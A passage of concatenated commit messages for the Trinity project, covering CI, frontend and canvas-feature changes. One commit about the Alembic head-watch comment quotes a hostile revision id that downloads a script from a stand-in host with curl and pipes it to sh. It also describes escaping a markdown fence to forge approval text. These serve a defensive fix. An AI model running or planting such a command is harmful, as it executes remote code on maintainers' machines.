doesn't init it, and the Dockerfile doesn't COPY it. The dev VM has been silently OSS-only since the seam landed. This adds an enterprise-overlay pattern that keeps the public prod image bit-identical to OSS while making enterprise features available on dev: - docker-compose.prod.enterprise.yml — single-service overlay that bind-mounts ./src/backend/enterprise into /app/enterprise (ro). The conditional `from enterprise.backend import register_enterprise` in main.py resolves the bind-mounted path on container start. - .github/workflows/deploy-dev.yml — init the submodule after pull (soft-fail with a clear marker so a missing deploy key doesn't brick the deploy), then layer the overlay onto build + up. Compose merges the volumes additively; no override of existing prod.yml mounts. - docs/dev/ENTERPRISE_LOCAL_DEV.md — new "Dev VM deploy" section with the one-time deploy-key setup (deploy key on trinity-enterprise + ~/.ssh/config alias on the VM) and the post-deploy verification step. Verified locally: `docker compose -f docker-compose.prod.yml -f docker-compose.prod.enterprise.yml config` merges cleanly; the import path resolves in the existing local container (which already bind-mounts the wider src/backend tree); /api/settings/feature-flags returns `enterprise_features: ["audit"]`. OSS path unchanged. The base Dockerfile and docker-compose.prod.yml are untouched, so build-without-submodule.yml CI guards stay green. Related to #847. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * test(api-keys-copy): swap UI cleanup for API DELETE — fits 30s budget (#677) The two @smoke tests in `api-keys-copy.spec.js` were timing out at the final cleanup step on slow GH-Actions runners. The pattern: Create modal → fill → Create → success modal → Copy → readClipboard → close → cleanup (revoke modal → confirm → delete modal → confirm) is ~9 sequential UI ops. On a constrained runner each takes 1-3s, so the per-test 30s budget would drain right around cleanup, and `page.waitForTimeout(200)` would resolve into "Target page closed". Replace the UI cleanup walk with `page.request.delete('/api/mcp/keys/{id}')` using the JWT from `localStorage['token']` (`stores/auth.js:201`). The backend DELETE handler hard-removes the row regardless of active / revoked state, so the UI-enforced revoke-then-delete sequence isn't needed for cleanup. The clipboard assertions earlier in the test still cover the actual #677 / #859 regression — UI cleanup was never under test. Reduces cleanup time from ~6s of UI clicks to one HTTP DELETE. Related to #677, #859. Unblocks PR #910 CI. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…#2590) * docs(ci): requirements + Invariant #3 for the pre-merge Alembic head watcher (#2533) Requirements-first (Rule #1) for the #2533 watcher. `requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so it tests the merge result correctly. GitHub recomputes that ref when the base advances but does not re-trigger workflows, so #2526's last green run described a base that no longer existed. `architecture.md` Invariant #3 gains two sentences on the same point, amending the "One head per version-line (#2068)" passage rather than restating the fork mechanics already documented there. Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's "bug fix: commit message only" — the deliverable is a new always-on CI service with a new PR-facing signal and a new permission scope. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * ci(alembic): re-check open migration PRs against the live dev tip (#2533) #2526 merged carrying an Alembic head fork that every pre-merge signal reported as clean. Not a checkout bug: `schema-parity` runs the single-head guard unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so the guard was testing the merge result and was correct. It was STALE — that run happened 75 minutes before the competing revision landed on `dev`, and GitHub recomputes the merge ref when the base advances without re-triggering workflows. `alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED — over an in-memory merge of each open migration PR against the live `dev` tip. The trigger is the precise one: a push to `dev` touching `src/backend/migrations/versions/**` is the exact moment every open migration PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop (and fires only from `main`, since `schedule:` runs from the default branch). `git merge-tree --write-tree` makes no commit and touches neither the working tree nor the index, so this workflow structurally cannot push; its exit contract (0 clean / 1 conflict / else error) distinguishes a conflicting PR from an infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941 got wrong. Because the PR is never checked out and the only PR bytes on disk are revision files read by `ast.parse`, no PR-authored code executes — which is why this is one job rather than backend-unit-nightly.yml's three-job split. Reporting is idempotent in both directions: a commit status (the alarm at the merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR never gains a sticky; `conflict` and `unknown` publish no status, because a false all-clear on a check that never ran is the #2029 failure. Advisory by design and never a required context — the pg-migrations precedent. The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach a workflow that exists only on a feature branch, so without it a change here would be unverifiable until after it merged. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(ci): guard the Alembic head watcher's load-bearing properties (#2533) 36 tests. Static guards over the workflow in the shape of test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every string assertion run against the YAML with COMMENT LINES STRIPPED — this workflow's own header says it "cannot push" and "never checks out the PR", so a naive substring search matches the prose and passes while the shell does the opposite. Pinned: the push trigger stays restricted to `dev` + the version line; the pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git command appears anywhere; merge-tree's conflict and error arms stay distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines reach the guard; the enterprise arm stays guarded against absence; a forked `dev` evaluates no PR; a sweep that produces nothing fails the run. The verdict module is EXECUTED, not grepped — it is the one path that can publish a green tick for a check that never ran. Includes the coupling neither file can see: the guard's real output, produced by running check_alembic_heads.py on a reconstruction of #2526's fork, is fed to parseGuardOutput, and the resulting fix instruction is asserted to name `0050_agent_canvases` — what #2526 actually did. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(ci): close the nine review findings on the Alembic head watcher (#2533) Three independent reviews (autoplan strategy, autoplan engineering with mutation testing, and Codex gpt-5.5 adversarially) returned "ship with changes". These are the nine, ordered by what they could do to a run. M1 — the self-test could not run at all. The verdict module is require()d from the workspace, and the workspace is dev, so `alembic-head-verdict.js` was never exercised by the arm that exists to exercise it — and on the PR that ADDS the file the baseline step hard-failed with "missing from dev". A second SPARSE checkout of scripts/ci into a side path supplies the PR's copy, gated on `pull_request` AND same-repo. The python guard is never sourced this way: it is the assertion dev enforces. M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit only because pipefail survives `set +e`; without it a CONFLICTING PR was classified clean and published a green status for a check that never ran. Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the warning. That also gives M2b's discriminator free — measured on git 2.50.1, an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1 with the merged tree's OID, so exit 1 alone answered an infrastructure fault by telling an innocent author their PR conflicts. M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>` fallback written for that case never printed. `|| true`. M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending run. Harmless between two push runs (a later sweep subsumes an earlier one), not harmless across events: a dry-run self-test could silence a real push run. Group keyed on the event. M5 — six of eight load-bearing mutations survived the suite. Added guards for the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the merge-tree error arm (scoped to the evaluate step, not every run: block), the 500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring. 19/19 mutations now killed. M7 — one try/catch wrapped the status, the comment guard and both comment calls. A throwing status call skipped the comment entirely, so on `fork` — the one outcome this exists to be seen on — the human saw nothing and the run passed. Separate try/catch per signal; setFailed when neither published. M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body` was never true and "skipped when unchanged" was unimplementable. Compare through `stickyBodiesMatch`, which normalises the run id away. M9 — `git archive` can emit symlinks and the guard read_text()s every *.py it globs; a link at an unbounded source can hang or OOM a job holding write scopes. Disclosure was already closed (ids and filenames only reach output); this closes the resource path, in the workflow rather than the guard. 88 passed, 2 skipped; actionlint rc=0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(ci): correct HEADW-003/006/008/009 to what the watcher actually does (#2533) M6 was a doc claiming a control that does not exist: §8.11 said extraction is "capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING, not extraction — the tree is already on disk by then and bounded by the repo. The rest of this is the same class, caught while fixing the code: - HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's OID. Records the tree OID as the discriminator, the file redirect that removes the pipefail dependency, and the symlink sweep. - HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL made that unreachable. Records the normalised comparison, and M7's separate failure domains for the status and the comment. - HEADW-008/009 said "the PR is never checked out", which stops being true verbatim once the self-test sources its own scripts/ci. Records the narrower true statement — the guard's workspace is dev only — and the same-repo gate. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(flows): record where the Alembic head guard's freshness comes from (#2533) /sync-feature-flows: NO new flow doc, and the precedent is written down rather than inferred — database-migration-runner.md's Related Flows already covers this guard and says in as many words "No flow doc of its own: the mechanism is one stdlib script". The index's own scope is UI → API → Database → Side Effects, which a CI workflow has none of. So the delta is to amend that paragraph, which had become misleading: it named `schema-parity` as the pre-merge guard without saying that run is fresh only at PR-event time. Someone triaging a fork that shipped green would read it and conclude the guard had failed, when it had merely aged. Index row added anyway (the "always add a row" rule), pointing at the flow it amends. Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows against #1360's ~20 cap, and the index is 522 lines against the skill's 400. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(ci): treat every value the head-watch comment renders as attacker-controlled (#2533) /review + /cso --diff on the branch. Both reviews landed on one real defect, in the new verdict module rather than the workflow. `alembic-head-verdict.js` renders two values that come out of the PR's OWN revision files — `revision = "<any string>"` and the committed filename — into a comment authored by `github-actions[bot]`. On a public repo any fork author picks them, and the fork arm is exactly the path that fires. Proven by execution against the real guard before the fix: * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion — a command the comment invites a maintainer to paste into a shell. * An id carrying a newline plus a triple backtick closed the hard-coded fence around the quoted guard output, putting attacker markdown ("**Reviewed and approved — safe to merge.**") into the bot's comment. Neither is code execution on the runner — revision files are only ever `ast.parse`d (HEADW-008) — both are the comment being made to say something its author did not write, which is the only reason anyone trusts it. * `isSafeRevisionId` gates interpolation into the pasteable command on `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything else degrades to the generic `<head-a> <head-b>` placeholder. Nothing diagnostic is lost — the verbatim guard output above it still names the real ids. * `fenced()` opens the quoted block with one backtick more than the longest run inside it. CommonMark closes on the first run >= the opening fence, so a hard-coded ``` is escapable by any input that contains one. Also: the `fork` comment now says when it clears, the way `conflictBody` already did. Without it an author who rechains and pushes sees a stale warning until the next push to `dev` (their own push does get a fresh, correct `schema-parity` run — it is the sticky that lags). Tests: 3 added, all three mutation-killed, including the control that proves an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built end-to-end through the real `check_alembic_heads.py`, since the hostile ids have to survive its formatting before they reach the module. 57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green. Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the class (CI that comments on a PR is a rendering surface for PR-controlled text). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(ci): order HEADW-010 before HEADW-011 (#2533) HEADW-011 was appended when the attacker-controlled-rendering finding landed and took 010's slot, leaving the numbered list out of order. No content change to either requirement. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com> Co-authored-by: sim <sim@example.com>

Reported from hands-on testing: pressing PDF offered to export the entire page. Correct report — the print stylesheet only STYLED the document and never hid anything else, so `window.print()` printed the nav bar, the tabs, the on-screen panel AND the print copy. That is not "one clean column" by any reading (AC #4), and it is the first thing anyone pressing the button hits. Two halves, both required: * a print rule that hides every `body` child except `.canvas-print-root`; * the print copy TELEPORTED to <body>, so it is a body child and the rule can spare it. Nested inside the app the rule would hide its ancestor and print nothing at all — worse than the bug. `body > *` rather than a class on the app root: it needs no knowledge of how the app is mounted and works identically on the standalone shared page, which keeps AC #7's "identical from every surface" true rather than approximately true. The copy is rendered only while printing (`v-if="printing"` + a `nextTick` flush before `print()`, since printing a not-yet-rendered teleport yields a blank sheet), so the DOM carries no permanent hidden duplicate. `canvasPrintIsolation.spec.js` pins all three structural facts. Nothing automated can inspect a print preview, which is exactly why the bug shipped — so the guard asserts the mechanism instead: the hiding rule exists, the root is teleported to body, and the document mounts before print() is called. Mutation-tested: removing the hiding rule fails it. Also fixes a design-system violation the ratchet caught in the same file: `SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now `viewState()` — loading means "no data yet", never "a fetch is in flight" (#1927, design-system p13-p15). The page fetches once today, so this is the rule holding rather than a bug fixed; it stays correct if a refresh is added. Baselining my own new violation was the alternative and would have been the wrong one. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ

…o it inverted the operator's intent (Abilityai#2411) `GET /api/settings/ops/config` nests settings TWICE, and `Settings.vue` read them flat: { settings: { ssh_access_enabled: { value: "true", default: "false", … } } } `response.data.ssh_access_enabled` is `undefined`, `undefined === 'true'` is `false`, and the switch rendered OFF whatever was stored. Because the click handler computes `!sshAccessEnabled.value`, the FIRST click then always sent `true` — an operator with ephemeral SSH enabled, clicking to DISABLE it, re-enabled it and watched it render as off. The write path was always correct, so the mismatch was one-sided: a change appeared to stick for the session and silently reverted on reload, which is why it went unnoticed. ## The issue's own suggested fix is not sufficient Abilityai#2411 proposes `response.data.settings?.ssh_access_enabled`. That is still wrong, for the same underlying reason: `get_ops_settings` builds a DESCRIPTOR per key (`value`/`default`/`description`/`is_default`), so it resolves to an object and `object === 'true'` is `false` — the toggle would still have rendered OFF while looking fixed. The `.value` hop is the one that matters. Pinned by its own test so the half-fix cannot be reintroduced as a "simplification". ## Why a pure module rather than a one-line edit `Settings.vue` cannot be mounted in this project's test setup — `@vue/test-utils` is not a dependency and vitest runs `environment: 'node'` — so a rule kept inline is a rule no test can reach. That is exactly how a one-line read bug survived inside a security control, and it is the reason the issue says the value is in the test rather than the fix. `utils/opsSettings.js` owns both spellings: `readOpsBool` for the read and `opsBoolValue` for the write, together in one file instead of at opposite ends of a 3500-line SFC, which is what let them drift in the first place. It accepts the descriptor form and a bare string, since the only thing separating them is a wrapper the reader does not need. Everything unreadable degrades to `false` (AC Abilityai#4) — absent key, absent `settings`, null payload, a number, `settings` that is not an object. `false` is the SAFE direction: `ssh_access_enabled` defaults to `"false"` server-side, and a security control that cannot read its own state must not claim the permissive one. The endpoint is untouched, per the issue's explicit instruction: `PUT /ops/config` takes the nested shape and the other ops readers depend on the current contract. The endpoint is the side that is right. ## Verification 18 tests, and each side of the fix mutation-checked rather than assumed: - reader reverted to `payload?.[key]` → 4 failed - SFC reverted to the flat read that shipped → 2 failed - restored → 18 passed AC Abilityai#5 is pinned rather than eyeballed once: a test asserts `ops/config` is read in exactly one place, so a second GET added later has to come through the same reader. Full frontend suite 64 files / 1454 tests; `vite build` clean. Closes Abilityai#2411 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

…d slice) Reported: pressing New chat in the Workspace drops you back into the existing conversation with that agent. Decided at the 2026-08-21 weekly. ONE VALUE CARRYING TWO MEANINGS. An absent `session_id` meant both "I don't know which thread" and "I want a fresh one", and the platform resolved it as the first, in both readers: _resolve_session_id(..., None) -> resume the client's latest get_history(..., None) -> return the most-recent thread Both readings are RIGHT for the case they were written for — a deep link, a refresh, an API caller that never held a session id — so neither could be inverted. The intent had to become sayable: `new_thread` on the request, `newChat` on the component, checked before the resume. The frontend tell was an asymmetry: New chat with the agent you were ALREADY on started fresh, while New chat with a different agent resumed. The watcher read a changed agent as "load that agent's history" and called `fetchHistory(name, null)`, discarding the `pendingSession = null` that `newChatWithAgent` had just set to mean the opposite. MOST OF ent#451 TURNED OUT TO BE BUILT. Recorded because the issue is complexity-high and this PR is not: * the data model already allows many sessions per (agent, client) — no UNIQUE constraint, a `title` column, an index on `(agent_name, client_email, last_message_at)`, and auto-titling. AC Abilityai#4's "migrates cleanly" is nothing to migrate. * AC Abilityai#2's list is the existing sidebar: titles, recency, starred lifted out, search, per-agent avatars. * AC Abilityai#3's landing rule is already decided and documented in `ensure_thread_for_ask` — reuse the latest thread so asks do not accumulate beside the conversation. UNCHANGED here, and pinned by a test so this cannot move it silently. It matters MORE once several chats exist, not less. So what was missing is AC Abilityai#1, and it is two bits rather than a data model. Four properties: * An explicit `session_id` WINS over the flag. A caller sending both contradicts itself; the id is a fact, the flag an intent, and abandoning a named thread would strand a turn meant for a conversation the caller could see. * The ownership check runs first either way — the flag is never a route past it. * BOTH turn entry points carry it. The Workspace uses the streaming path and falls back to the synchronous one, so a flag honoured by only one brings the bug back exactly when streaming fails. * The intent is spent on adoption. The send guard already ANDs on "no session yet", so a second turn was never going to open a third thread; clearing it in `onSessionAdopted` keeps the two bits from disagreeing after a navigation. Test doubles updated, not worked around: seven `_resolve_session_id` lambdas and four `_fake_chat` stubs did not accept the new keyword. They take `**kw` now — a stub that must be edited for every new parameter is a second signature — and one hand-rolled `_Body` model double gained the field. All are stale stubs rather than behaviour changes. Verification: 392 passed across the portal/ent#286/Abilityai#287/Abilityai#358/Abilityai#429/Abilityai#430/Abilityai#451 selection; 1497 frontend unit tests. Mutation-checked: making the flag inert, and letting it override an explicit session id, each turn the suite red. The full backend suite exceeds a local foreground run and is left to CI. Pre-existing and NOT from this branch: `test_ent457_portal_turn_kwargs` and `test_both_portal_row_creation_sites_name_the_chat` fail on `dev` today; both are fixed in Abilityai#2427. Related to ent#451 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

…ile (ent#553) (#2619) * feat(canvas): delete, pin, search and a stated bound for the canvas pile An agent that uses its canvas the way ent#438 intends accumulates dozens: one per report, per topic, per run. The Workspace could only ever ADD to that pile — the client-portal surface had no delete at all, the only ordering was "newest updated", and nothing bounded the table. Two decisions, both by operator ruling 2026-09-08, recorded because each had a plausible alternative: **Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner deletes the shared artifact. This NARROWS the platform DELETE route, which accepted any user with agent access; safe because no UI called it, so no workflow depended on the wider gate. A canvas is one shared surface with no per-user copy, so a non-owner has no "hide it from my list" middle ground: per AC #2 they see no control at all rather than one that 403s. Agents keep clearing their own (`clear_canvas`, the #918 self-gate). **The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no retention window" because the composite key bounds rows per canvas — but `canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed, not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside `upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it is not a check-then-act race. Updating an existing canvas is NEVER refused — a cap that froze updates would punish exactly the agent that reuses ids — and the refusal is a named 409 telling the agent to retire one, never an eviction: deleting a person's surfaces on a timer is the #1638 failure direction. Both surfaces resolve permission through `db.can_user_share_agent`, the same predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot disagree about who owns an agent. The Workspace learns it from `PortalAgentCard.can_manage_canvases` — the portal's only capability channel (#2128), since a portal principal cannot read `/api/settings/feature-flags` — and it fails closed. `pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT 0, no backfill) is written only by the human pin route and is deliberately absent from every agent-facing tool: `audience` is the agent's decision about who may read, `pinned` is the reader's about what they see first, and an agent that could pin itself to the top would defeat the ordering. A pin survives the agent rewriting the canvas. Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering layer, per ent#475): search once the list passes six, a height-bounded strip so a long list does not cost the rail its other tabs, and a Manage mode giving each row its age, stale mark, pin and delete. Decidable rules are pure in `canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so a rule inside the SFC is one no test can reach. Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are permitted-but-unreliable and this one is not optional), declared above the parameterized routes on both routers (Invariant #4), and it reports the ids that EXISTED rather than the ids requested so "3 of 5 removed" is sayable. Three pre-existing guards failed and each was right to: `empty_canvas` was missing the new field (a real bug in this change, fixed), the self-gate guard needed to learn the new gate's name, and the positional-read guard needed its synthetic row extended — that one exists precisely because `_row_to_summary` reads by index. Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and survival, bulk scoping, the permission matrix on both surfaces, route ordering, dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest cases for the pure rules. Verified against a real database: the cap refuses the 4th of 3, updates still succeed at the cap, a pin outranks recency and survives a rewrite, and bulk delete returns only the ids that existed. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): audit the single delete, cover the default canvas, document the lifecycle Closes the three acceptance criteria the first commit left open: * AC #1 asked for the deletion to be audited and only the BULK route was — the single-canvas route is the one a person actually clicks. Logged only when something was removed, since the route is idempotent and a repeat click would otherwise fill the trail with events where nothing happened. * AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the next write, and frees a slot against the cap. `main` is the id both the MCP tools and the voice panel fall back to, so it is the one most likely to be deleted by accident and the one whose deletion must strand nobody. * AC #9: the user doc gains a "Removing canvases" section stating the permission rule, the cap, and that nothing is ever deleted to make room. Also records a latent pre-existing mismatch found while testing: `empty_canvas` returns None timestamps while `models.Canvas` requires strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only caller declares no `response_model` — but adding one there would turn the voice teardown poll into a 500. Left as a comment where the next person to reach for that will meet it, rather than fixed out of scope. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * test(canvas): patch the cap where the live code reads it, not where the test imports it Two ent#553 tests passed in isolation and failed in a full-suite run: `test_the_cap_refuses_a_new_canvas_by_name` and `test_deleting_the_default_canvas_frees_a_slot_against_the_cap`. Order-dependence, not a defect in the feature. They patched `db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier test in the suite evicts that module from `sys.modules`, so the fresh import hands back a NEW module object while the live `db._canvas_ops` is still an instance of the OLD class — whose `upsert_canvas` reads the OLD module's globals. The patch lands somewhere nothing consults, the cap stays at its default of 100, and the "refuses the 4th of 3" assertions fail. `_set_cap` patches the bound method's own `__globals__`, which is whichever module dict the running code actually closes over — correct whether or not an eviction happened, so it does not depend on knowing which test pollutes. Same failure and same fix as #2589, where the identical shape bit `mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a module attribute is only as good as the assumption that the live object came from that module object, and in a suite that evicts modules that assumption is not free. The feature is unchanged — this touches only the test file. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): re-parent the pinned revision, and make the canvas cap reachable Two review items from #2619. **Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared `down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has since landed on `dev` — two heads, and `alembic upgrade head` resolves its single target before applying anything, so EVERY revision merged since the fork stops arriving, not just one. Re-parented onto `0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps being a usable ordering cue; the id is not applied anywhere yet, so the rename costs nothing. `check_alembic_heads.py` reports 1 head. **`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names the number, but the variable was read only from `os.getenv` in `models.py` and appeared in no compose file — so an operator following the refusal's own advice would raise a lever that never reaches the container. Wired into `docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch standalone, no base merge / no `env_file`) plus `.env.example`. Related to #2619 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553 The raw-colour ratchet became enforceable on dev while this branch was open (#2605/#2609), and the merge brings it here: this PR's delete/pin/ search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46 `raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend build. That growth is the honest kind. The design-system contract SPELLS the neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders gray-200/300/700/800, ink gray-300/400/500/600 — and there is no semantic token for a neutral, which is exactly why the spec's own comment says gray is ratcheted but never held to zero for new files. The rule it does hold new code to is `raw_nongray`, and this file stays at **0**. Re-frozen in its OWN commit with the increase named in the baseline's `refrozen` block, which is what the ratchet's error message asks for — not absorbed silently into the feature diff. The entry is hand-edited rather than regenerated so #2605's provenance block survives; no other file's ceiling moves (verified: nothing grew, nothing is stale, no un-baselined file carries `raw_nongray`). Related to #553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553) Three review findings, all in the same direction — the backend was right and the user-facing half did not arrive — plus the two smaller ones. 1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)` nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and the early warning could not render at any count. The ceiling rides `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established home for a value the browser needs to render a surface, and where `platform_default_model` / `install_source` already set the precedent for a non-boolean. Not a new route (Invariant #13 would owe three surfaces for one integer) and not an envelope around the canvas list (the MCP tool and the Workspace both read it as a bare array). It is a CONSTANT, not per-agent state, and the client already holds the count. `0` still means "not told" and still renders nothing, so an older backend is unchanged. 2. **The Workspace canvas writes are audited.** The three portal routes recorded nothing while their operator twins have logged since they shipped, and `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so the claim was false for exactly the client-facing surface. `_audit_canvas_change` is the shared helper; the actor is `actor_email` (the documented #848 inline-auth path) rather than a fabricated `User`, which is honest because `_require_canvas_manager` is platform-only and owner-or-admin, so a real Trinity user is always behind it. Ids and counts only (G-04). The three routes become `async def` to await it, matching their operator twins, which already call the same sync db functions from an async handler. Pinning is audited too, on BOTH surfaces — the operator route was the one recording nothing. A pin decides which canvas an entire roster sees first, so it is an administrative act on a shared surface, not a per-viewer preference. 3. **`canManage` comes from the parent.** It was hardcoded `true` on the argument that the server decides. It does — but a merely-shared user was then shown Manage → Delete / Pin and got a 403, which is the failing-control problem `can_manage_canvases` exists to prevent on the Workspace. Agent Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines above already reads and the same one `_gate_human_removal` enforces. The prop defaults FALSE, so a caller that forgets it hides an affordance rather than offering one that refuses. 4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the same owner read `true` in the sidebar and `false` on the agent's own page — the disagreement #2160's own docstring says that function exists to prevent. 5. **An agent genuinely cannot pin its own canvas now.** The user doc said so; `_gate_human_removal` allowed it (right for delete — an agent tidying up after itself — and wrong for pin), and "no MCP tool exposes it" is a property of the client, not of the route. `_gate_pin` is humans-only, which makes the documented sentence true rather than aspirational. Tests: the audit guard now walks the portal routes as well as `routers.canvas` (it only ever inspected the latter, which is why three unaudited routes passed it), plus pin-audit parity, the humans-only pin gate beside the still-permitted agent self-delete, the feature-flags constant being the same object the refusal is raised from, the agent-card/roster agreement, and four frontend wiring cases. 1025 backend / 2538 frontend tests green. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(canvas): the Workspace audit names the operator, not the platform (ent#553) Found re-reviewing my own audit fix. Adding the rows was right; the attribution was wrong, and a row that lands under the wrong actor is worse than the missing row it replaced — nothing fails, so the wrong answer is believed. `_audit_canvas_change` passed `actor_email` only. But `platform_audit_service._resolve_actor` derives `actor_type` from `actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from the email, so an email-only call falls through to its last branch: _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None) So every Workspace canvas delete and pin was recorded as `actor_type="system"`, `actor_id="trinity-system"` — a named operator's action attributed to the platform, invisible to any `actor_type=user` query and to the audit UI's per-actor filter. Verified against the real resolver, not by reading the call. The `actor_email`-only path I cited (#848 inline auth) is right where the caller genuinely has no `users` row. That is not this route: `_require_canvas_manager` is platform-only and resolves through `db.can_user_share_agent`, so a row exists by construction. It now resolves that row and passes `actor_user`, producing the same `("user", <id>, <email>)` shape the operator twin has always written — which is the point, since auditing the two surfaces differently buys little more than auditing one of them. Best-effort by construction: the action has already happened, so a lookup that raises or misses must not drop the row. It falls back to the email-only call with a WARNING, since a miss would mean the gate admitted someone the user table does not know. Tests: the regression is pinned against the REAL `_resolve_actor` (both the shape the fix must not return to and the shape it produces now), plus a source guard that the helper resolves a row, passes `actor_user`, keeps the email as a fallback and cannot raise. Removing `actor_user=` reds it. 31 passed on the ent#553 file; 953 across canvas / portal / audit. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * test(canvas): resolve CanvasLimitExceeded from the live method's globals The two cap tests imported the class from `db.canvas` while `_set_cap` already patches the cap through `upsert_canvas.__globals__` — because an earlier test can evict and re-import the module. The same eviction gives the test a different class object than the one the live code raises, and `pytest.raises` then reports the correct refusal as an unexpected exception. Seen once in a full local run after the dev merge (both tests pass in isolation and under CI's three seeds); resolve the class from the same globals the cap comes from. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): keep the 